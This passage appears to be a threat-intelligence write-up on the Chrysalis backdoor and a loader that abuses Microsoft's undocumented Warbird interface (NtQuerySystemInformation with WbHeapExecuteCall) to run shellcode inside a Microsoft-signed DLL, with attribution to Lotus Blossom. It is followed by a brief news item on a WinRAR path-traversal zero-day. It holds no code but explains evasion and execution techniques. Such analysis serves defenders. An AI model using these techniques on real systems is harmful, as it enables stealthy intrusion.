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According to the official documentation, the first parameter of NtQuerySystemInformation is of type SYSTEM_INFORMATION_CLASSwhich specifies the category of system information to be queried. During static analysis in IDA Pro, this parameter was initially identified as SystemExtendedProcessInformation|0x80but looking for this value in MSDN and other public references didn’t provide any explanation on how the execution was achieved. But, searching for the original value passed to the function (0xB9)uncovered something interesting. The following blog by DownWithUp covers Microsoft Warbird, which could be described as an internal code protection and obfuscation framework . These resources confirm IDA misinterpretation of the argument which should be SystemCodeFlowTransition, a necessary argument to invoke Warbird functionality. Additionally, DownWithUp’s blog post mentioned the possible operations:
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Figure 12: Warbird operations documented by DownWithUp
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Referring to the snippet we saw from “ConsoleApplication2.exe”, the operation is equal to WbHeapExecuteCallwhich gives us the answer on how the shellcode gained execution. Thanks to work of other researchers, we also know that this technique only works if the code resides inside of memory of Microsoft signed binary, thus revealing why clipc.dllhas been used.The blog post from cirosecalso contains a link for their POC of this technique which is almost the same replica of “ConsoleApplication2.exe”, hinting that author of “ConsoleApplication2.exe” simply copied it and modified to execute Metasploit block_api shellcode instead of the benign calc from POC. The comparison of the Cobalt Strike beacon configuration delivered via “conf.c”and “ConsoleApplication2.exe” revealed shared trades between these two, most notably domain, public key, and process injection technique.
Attribution
Attribution is primarily based on strong similarities between the initial loader observed in this intrusion and previously published Symantec research. Particularly the use of a renamed “Bitdefender Submission Wizard” to side-load “log.dll” for decrypting and executing an additional payload. In addition, similarities of the execution chain of “conf.c” retrieved from the infected asset and other loaders that we found, supported by the same public key extracted from CS beacons delivered through “conf.c” and “ConsoleApplication2.exe” suggests with moderate confidence, that the threat actor behind this campaign is likely Lotus Blossom.
Conclusion
The discovery of the Chrysalis backdoor and the Warbird loader highlights an evolution in Billbug’s capabilities. While the group continues to rely on proven techniques like DLL sideloading and service persistence, their multi layered shellcode loader and integration of undocumented system calls (NtQuerySystemInformation) marks a clear shift toward more resilient and stealth tradecraft.
What stands out is the mix of tools: the deployment of custom malware (Chrysalis) alongside commodity frameworks like Metasploit and Cobalt Strike, together with the rapid adaptation of public research (specifically the abuse of Microsoft Warbird). This demonstrates that Billbug is actively updating their playbook to stay ahead of modern detection.
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A zero-day vulnerability in WinRAR is being exploited by at least two Russian criminal groups:
The vulnerability seemed to have super Windows powers. It abused alternate data streams, a Windows feature that allows different ways of representing the same file path. The exploit abused that feature to trigger a previously unknown path traversal flaw that caused WinRAR to plant malicious executables in attacker-chosen file paths %TEMP% and %LOCALAPPDATA%, which Windows normally makes off-limits because of their ability to execute code.
More details in the article.
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